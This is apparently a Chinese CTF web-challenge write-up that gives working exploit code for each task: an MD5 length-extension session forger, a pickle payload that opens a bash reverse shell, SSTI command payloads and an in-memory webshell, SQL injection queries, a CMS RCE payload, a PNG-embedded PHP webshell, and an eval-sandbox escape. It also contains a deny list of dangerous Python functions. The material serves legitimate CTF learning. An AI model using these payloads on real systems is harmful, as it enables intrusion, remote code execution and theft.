sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
# print(password)
if username in users and users[username] == password:
session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
return "登陆成功"
else:
return "登陆失败"
else:
return render_template("login.html")

@app.route("/users")
def user():
return json.dumps(sign_users)

@app.route("/flag")
def flag():
for user in users:
if sign_users[user] != 1:
return "flag{杂鱼~}"
return open('/flag', 'r').read()

def init():
global users, sign_users
for _ in range(64):
username = getRandom(8)
pwd = getRandom(16)
users[username] = pwd
sign_users[username] = 0
users["student"] = "student"
sign_users["student"] = 0

init()

这里需要将每一个用户进行签到成功就可以获取flag,这里将SECRET_KEY给出来的,并且有一个关键函数来对身份进行验证

1
2
3
4
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False

salt为随机不知道的值,msg= md5(salt + password.encode()),但是有一个已经知道的账户,通过哈希延长攻击来写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import hashlib
import math
from typing import Any, Dict, List

rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]

functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
16 * [lambda b, c, d: (d & b) | (~d & c)] + \
16 * [lambda b, c, d: b ^ c ^ d] + \
16 * [lambda b, c, d: c ^ (b | ~d)]

index_functions = 16 * [lambda i: i] + \
16 * [lambda i: (5 * i + 1) % 16] + \
16 * [lambda i: (3 * i + 5) % 16] + \
16 * [lambda i: (7 * i) % 16]


def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
return [A, B, C, D]


def left_rotate(x, amount):
x &= 0xFFFFFFFF
return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF


def padding_message(msg: bytes) -> bytes:
"""
在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
填充的方法如下:
1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
"""
orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
msg += bytes([0x80])
while len(msg) % 64 != 56:
msg += bytes([0x00])
msg += orig_len_in_bits.to_bytes(8, byteorder='little')
return msg


def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
message = padding_message(message)
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def md5_to_hex(digest: int) -> str:
raw = digest.to_bytes(16, byteorder='little')
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))


def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
return md5_to_hex(md5(message, A, B, C, D))


def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
D: int = 0x10325476) -> int:
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def get_init_values_from_hash_str(real_hash: str) -> List[int]:
"""

Args:
real_hash: 真实的hash结算结果

Returns: 哈希初始化值[A, B, C, D]

"""
str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
# 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]


def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
"""

Args:
origin_msg: 原始的消息字节流
key_len: 原始密钥(盐)的长度
real_hash: 计算出的真实的hash值
append_data: 需要添加的攻击数据

Returns: 发起攻击需要的物料信息
{
'attack_fake_msg': bytes([...]),
'attack_hash_value': str(a1b2c3d4...)
}

"""
init_values = get_init_values_from_hash_str(real_hash)
# print(['{:08x}'.format(x) for x in init_values])
# 只知道key的长度,不知道key的具体内容时,任意填充key的内容
fake_key: bytes = bytes([0xff for _ in range(key_len)])
# 计算出加了append_data后的真实填充数据
finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
# 攻击者提前计算添加了攻击数据的哈希
attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
A=init_values[0],
B=init_values[1],
C=init_values[2],
D=init_values[3]))
fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
attack_fake_msg = origin_msg + fake_padding_data + append_data
return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}



from flask.sessions import SecureCookieSessionInterface
import requests, json, time

class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key


def session_decode(session_cookie_value, secret_key):
""" Decode a Flask cookie """
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)


def session_encode(session_cookie_structure, secret_key):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)


def req_index(url, cookie):
# headers = {"Cookie": "session=" + cookie}
cookies = {"session":cookie}
r = requests.get(url, cookies=cookies).text
# print(r)
if '签到成功' not in r:
# print(cookie)
time.sleep(1)
req_index(url, cookie)
# print(r)

def req_user(url):
return json.loads(requests.get(url).text)

def req_login(url):
data = {"username":"student", "password":"student"}
cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
# print(cookie)
return cookie

def hash_Attack(md5_value, key_len, data, attack_data):
attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
# print(data)
res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
return res


if __name__ == '__main__':
url = "http://210.44.150.15:49982/"
cookie = req_login(url+'login')
users = req_user(url+'users')
secret_key = "Th1s_is_5ecr3t_k3y"
res = session_decode(cookie, secret_key)
for user in users:
if users[user] == 0:
res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
res2 = session_encode(res, secret_key)
# time.sleep(1)
r = req_index(url, res2)

[Week2]dickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from flask import Flask, request
import pickle
import base64
import io

BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]

class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if f"{module}.{name}" in BLACKLISTED_CLASSES:
raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
return super().find_class(module, name)

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
encoded_data = request.form["data"]
decoded_data = base64.b64decode(encoded_data)

try:
data_stream = io.BytesIO(decoded_data)
unpickler = SafeUnpickler(data_stream)
result = unpickler.load()
return f"Deserialized data: {list(result)}"
except Exception as e:
return f"Error during deserialization: {str(e)}"
else:
return """
<form method="post">
<label for="data">Enter your serialized data:</label><br>
<textarea id="data" name="data"></textarea><br>
<input type="submit" value="Submit">
</form>
"""

if __name__ == "__main__":
app.run(port=8080)

这里是pickel反序列化,但是有十分多的waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]

在反序列化过程中, pickle 使用 find_class 方法来定位和导入必要的类或函数。由于 pickle 记录的是 posix.system,因此find_class 会从 posix 模块中导入 system 函数,而不是从 os 模块中导入。

所以可以用os.system进行序列化,但是在检测就会调用posix.system,从而绕过黑名单

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (os.system,('bash -c "bash -i >6 /dev/tcp/ip/8888 0>&1"',))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

[Week2]guess_the_number

查看源码的源码 /s0urce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import flask
import random
from flask import Flask, request, render_template, send_file

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html', first_num = first_num)

@app.route('/s0urce')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

@app.route('/first')
def get_first_number():
return str(first_num)

@app.route('/guess')
def verify_seed():
num = request.args.get('num')
if num == str(second_num):
with open("/flag", "r") as file:
return file.read()
return "nonono"

def init():
global seed, first_num, second_num
seed = random.randint(1000000,9999999)
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)

init()
app.run(debug=True)

主要看到种子这里seed = random.randint(1000000,9999999),这里看似随机的,但是当种子确定下来时,first_num和second_num就会确定,所以,只需要通过第一个数来获得seed就可以获得第二个数值

1
2
3
4
5
6
7
import random
for i in range(1000000,9999999):
random.seed(i)
first_num = random.randint(1000000000, 9999999999)
if(first_num==2750639080):
print(random.randint(1000000000, 9999999999))
break

再提交输出的值获取flag

[Week2]入侵者禁入

这里直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = '0day_joker'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'flag': 'your_flag_here'
}
with open(__file__, 'r') as file:
code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
message = "Oh,I believe in you! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)

首先看到secret_key就可以知道应该是要通过session伪造了,这里需要注意它不是直接通过admin用户来获取flag,而是通过通过渲染render_template_string(message),这里就可以尝试ssti来获取flag

抓包获取session值

1
eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZyiHMA.AomjARBBM3o_mXsepYp6PsZ6D8E

这里看到破解成功,下面就是进行伪造

1
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.__globals__.os.popen(\'cat /*\').read()}}', 'is_admin': 1}}"

这里要注意需要通过转义才可以写,最后提交得flag

[Week2]登录验证

提示里面告诉我们要jwt爆破

当我们提交admin admin时告诉我们不是admin

我们开头将jwt码进行爆破

这里爆破出来为222333,将原来的jwt码进行伪造改role为admin即可

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzA3MTk0NzEsImlhdCI6MTczMDcxMjI3MSwibmJmIjoxNzMwNzEyMjcxLCJyb2xlIjoiYWRtaW4ifQ.84vkkeMmFt9dr2RBVhH1TciO69Y4mXPq0cm27Dst9Fo

最后直接提交即可得flag

[Week2]自助查询

这个题注入没有过滤,主要是最后一步要注意

1
2
3
4
1") group by 2#
0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# //flag,users
0") union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'# //id,scretdata
0") union select 1,group_concat(scretdata) from flag# //被你查到了, 果然不安全,把重要的东西写在注释就不会忘了

这里需要查看注释来获取flag

1
0") union SELECT column_name, column_comment FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'#

[Week3] 小小cms

这个是用到cms漏洞,直接用payload即可

1
2
3
目录 /pay/index/pay_callback

post提交:out_trade_no[0]=eq&out_trade_no[1]=cat /*&out_trade_no[2]=system

[Week3] love_flask

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from flask import Flask, request, render_template_string
# Flask 2.0.1
# Werkzeug 2.2.2
app = Flask(__name__)
html_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pretty Input Box</title>
<style>
.pretty-input {
width: 100%;
padding: 10px 20px;
margin: 20px 0;
font-size: 16px;
border: 1px solid #ccc;
border-radius: 25px;
box-sizing: border-box;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
transition: border 0.3s ease-in-out;
}

.pretty-input:focus {
border-color: #4CAF50;
outline: none;
}

.submit-button {
width: 100%;
padding: 10px 20px;
margin: 20px 0;
font-size: 16px;
color: white;
background-color: #4CAF50;
border: none;
border-radius: 25px;
cursor: pointer;
}

.container {
max-width: 300px;
margin: auto;
text-align: center;
}
</style>
</head>
<body>

<div class="container">
<form action="/namelist" method="get">
<input type="text" class="pretty-input" name="name" placeholder="Enter your name...">
<input type="submit" class="submit-button" value="Submit">
</form>
</div>

</body>
</html>
'''

@app.route('/')
def pretty_input():
return render_template_string(html_template)

@app.route('/namelist', methods=['GET'])
def name_list():
name = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % name
rendered_string = render_template_string(template)
if rendered_string:
return 'Success Write your name to database'
else:
return 'Error'

if __name__ == '__main__':
app.run(port=8080)

这里发现存在ssti,但是没有会显,这里就可以产生通过内存马来进行回显,这里注意在打内存马时,如果已经创建了目录时就会报错,所以每次进行打内存马时就需要修改目录路径

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/bbb', 'bbb', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'cat /*')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

[Week3] 拜师之旅·番外

这个题考图片马得二次渲染

这个题只可以上传png文件,这里无法通过请求头和图片标识符来绕过,只能通过直接上传png文件来进行绕过,生成png图片的php代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

运行这个php文件就会生成一个1.png文件,直接下来进行上传,post提交来进行执行命令

1
2
3
/view.php?image=/upload/1924555906.png&0=system

1=ls /

[Week3] hacked_website

这里会给一个备份文件

打开后发现在/admin/profile.php中有一个后门

1
<?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?>

但是需要注意的一点,如果直接进行访问需要登入,所以我们就需要去尝试弱密码爆破或者sql注入

最后拿到账号为admin qwer1234为密码

直接登入,带着cookie访问profile.php post提交命令即可

1
SH=cat /*

[Week4] 0进制计算器

这个题主要是代码审计了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)

@app.route('/')
def home():
return render_template('index.html')

@app.route('/execute', methods=['POST'])
def execute_code():
data = request.json
code = data.get('code', '')
output = executer(code)
return output

from contextlib import redirect_stdout
from io import StringIO

class StupidInterpreter:
def __init__(self):
self.variables = {}

def interpret(self, code):
if self.checker(code) == False:
print("有脏东西!")
return("")
commands = code.split(';')
for command in commands:
command = command.strip()
if command:
self.execute_command(command)

def execute_command(self, command):
if '=' in command:
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)
else:
print(f"未知指令: {command}")
return("")
def evaluate_expression(self, expression):
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
try:
return eval(expression, {}, {})
except Exception as e:
print(f"执行出错: {e}")
return None

def checker(self, string):
try:
string.encode("ascii")
except UnicodeEncodeError:
return False
allow_chr = '0cdhor+-*/=()"\'; '
for char in string:
if char not in allow_chr:
return False

def executer(code):
outputIO = StringIO()
interpreter = StupidInterpreter()
with redirect_stdout(outputIO):
interpreter.interpret(code)
output = outputIO.getvalue()
return(output)

if __name__ == '__main__':
app.run(debug=False)

首先通过白名单绕过

1
allow_chr = '0cdhor+-*/=()"\'; '

这里最后会进行执行一个eval函数,而要做的就是将expression来进行拼接为一个能执行的字符串

1
return eval(expression, {}, {})

首先可以用python的两个函数

1
2
chr() //通过ascii码转字符
ord() //将字符转ascii码

这里就可以拼接出一个数字

1
2
ord('*')-ord(')') //这个是数字 1
//通过+就可以拼凑出一个字符的ascii

比如通过python脚本来进行编写就可以得到一个字符得ascii码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a='a'
# print(a)
qwe=""
for i in a:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
qwe="chr("+s+")"
print(qwe)
//chr(ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')'))
print(eval(qwe)) //a

这里就可以开始分析如何拼接字符串和构造poc链了,这里主要是两个符号来进行执行

1
2
3
4
5
6
7
8
9
10
if '=' in command:  
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)

这里首先是可以通过;号来隔开每个不同的命令,而有两个命令执行形式不同,一个为=,另外一个为cdhor()

先去看看 = 号发生了什么,其实就是将等号右边的命令进行执行了,左边的作为新的键名,键值为执行结果,这里就可以大胆的想,这里就可以实现对字符串的拼接,如果将我们poc链需要的字典放到创建的集合中就可以开始拼接字符串

其实关键在执行命令时有一个替换的过程

1
2
for var, value in self.variables.items():  
expression = expression.replace(var, str(value))

这里如果将字典构建完成后,我们在通过cdhor()来执行拼接的结果就可以绕过,并且执行命令,下面的python脚本就可以开始执行,但是脚本还需要自动进行拼接,还有可能比较长,但是不影响,只是怎么简单怎么来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#首先实现字典的构造,这里构造的qwe前面会多一个;号,去掉即可
a='>:+asdfghjklqwertyuiopzxcvbnm_[\'"N]().{}, 0123456789/'
qwe=""
for i in a:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
ss="chr("+s+")"
dd=ss+"="+ss
#print(ss)
qwe=qwe+";"+dd
print(qwe)
print()
#下面构造执行命令的payload
b="globals()['__builtins__']['eval']('__import__(\"os\").popen(\"cat /fl44gggg\").read()')"
asd=""
for i in b:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
ss="chr("+s+")"
dd=ss+"="+ss
#print(ss)
asd=asd+ss
print("cdhor("+asd+")")

这里需要注意如果直接执行命令就只会输出0或者1,但是我们可以通过ssti的方法通过.read()来让print输出结果

ez!http

知识点 http头

最开始直接抓包通过repeater模块进行发包

通过修改提交的user值为root绕过第一层,或者直接修改js值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//只有从blog.buildctf.vip来的用户才可以访问
通过Referer来进行伪造
Referer: blog.buildctf.vip
//需要使用buildctf专用浏览器
通过User-Agent来进行伪造
User-Agent: buildctf
//只有来自内网的用户才能访问
通过xff来伪造内网ip
X-Forwarded-For: 127.0.0.1
